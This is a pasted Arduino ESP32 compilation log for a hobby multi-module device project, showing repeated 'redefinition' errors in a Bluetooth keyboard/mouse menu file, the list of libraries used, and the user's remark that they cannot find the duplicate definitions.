D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:44:5: note: 'int selectBLEOption' previously defined here
44 | int selectBLEOption = 0;
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:47:13: error: redefinition of 'const char* mainMenuOptions []'
47 | const char *mainMenuOptions[] = {"Bluetooth Keyboard", "Bluetooth Mouse"};
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:47:13: note: 'const char* mainMenuOptions [2]' previously defined here
47 | const char *mainMenuOptions[] = {"Bluetooth Keyboard", "Bluetooth Mouse"};
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:48:11: error: redefinition of 'const int mainMenuOptionsCount'
48 | const int mainMenuOptionsCount = 2;
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:48:11: note: 'const int mainMenuOptionsCount' previously defined here
48 | const int mainMenuOptionsCount = 2;
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:57:6: error: redefinition of 'void InitBluetooth()'
57 | void InitBluetooth() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:57:6: note: 'void InitBluetooth()' previously defined here
57 | void InitBluetooth() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:67:6: error: redefinition of 'void BluetoothMode()'
67 | void BluetoothMode() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:67:6: note: 'void BluetoothMode()' previously defined here
67 | void BluetoothMode() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:91:6: error: redefinition of 'void navigateBLEMenu(int)'
91 | void navigateBLEMenu(int direction) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:91:6: note: 'void navigateBLEMenu(int)' previously defined here
91 | void navigateBLEMenu(int direction) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:97:6: error: redefinition of 'void HandleselectBLEOption(int)'
97 | void HandleselectBLEOption(int selectBLEOption) {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:97:6: note: 'void HandleselectBLEOption(int)' previously defined here
97 | void HandleselectBLEOption(int selectBLEOption) {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:113:6: error: redefinition of 'void displayBLEMenu()'
113 | void displayBLEMenu() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:113:6: note: 'void displayBLEMenu()' previously defined here
113 | void displayBLEMenu() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:137:6: error: redefinition of 'void handleBLEKeyboardInput()'
137 | void handleBLEKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:137:6: note: 'void handleBLEKeyboardInput()' previously defined here
137 | void handleBLEKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:179:6: error: redefinition of 'void handleMouseInput()'
179 | void handleMouseInput() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:179:6: note: 'void handleMouseInput()' previously defined here
179 | void handleMouseInput() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:206:6: error: redefinition of 'void displayKeyboardLayout()'
206 | void displayKeyboardLayout() {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:206:6: note: 'void displayKeyboardLayout()' previously defined here
206 | void displayKeyboardLayout() {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:223:6: error: redefinition of 'void stopBluetoothMode()'
223 | void stopBluetoothMode() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:223:6: note: 'void stopBluetoothMode()' previously defined here
223 | void stopBluetoothMode() {
| ^~~~~~~~~~~~~~~~~
Using library Wire at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\Wire
Using library Adafruit GFX Library at version 1.11.11 in folder: C:\Users\Joel\Documents\Arduino\libraries\Adafruit_GFX_Library
Using library Adafruit BusIO at version 1.17.0 in folder: C:\Users\Joel\Documents\Arduino\libraries\Adafruit_BusIO
Using library SPI at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\SPI
Using library Adafruit SSD1306 at version 2.5.13 in folder: C:\Users\Joel\Documents\Arduino\libraries\Adafruit_SSD1306
Using library IRremote at version 4.4.1 in folder: C:\Users\Joel\Documents\Arduino\libraries\IRremote
Using library SD at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\SD
Using library FS at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\FS
Using library SmartRC-CC1101-Driver-Lib at version 2.5.7 in folder: C:\Users\Joel\Documents\Arduino\libraries\SmartRC-CC1101-Driver-Lib
Using library Adafruit PN532 at version 1.3.3 in folder: C:\Users\Joel\Documents\Arduino\libraries\Adafruit_PN532
Using library WiFi at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\WiFi
Using library Networking at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\Network
Using library ESP32 BLE Keyboard at version 0.3.2 in folder: C:\Users\Joel\Documents\Arduino\libraries\ESP32_BLE_Keyboard
Using library BLE at version 3.0.7 in folder: C:\Users\Joel\AppData\Local\Arduino15\packages\esp32\hardware\esp32\3.0.7\libraries\BLE
Using library ESP32 BLE Mouse at version 0.3.1 in folder: C:\Users\Joel\Documents\Arduino\libraries\ESP32_BLE_Mouse
exit status 1
Compilation error: redefinition of 'int gameDinoPosY'
mostly redefinition but i checked all the modes for these redefinition but cant fint any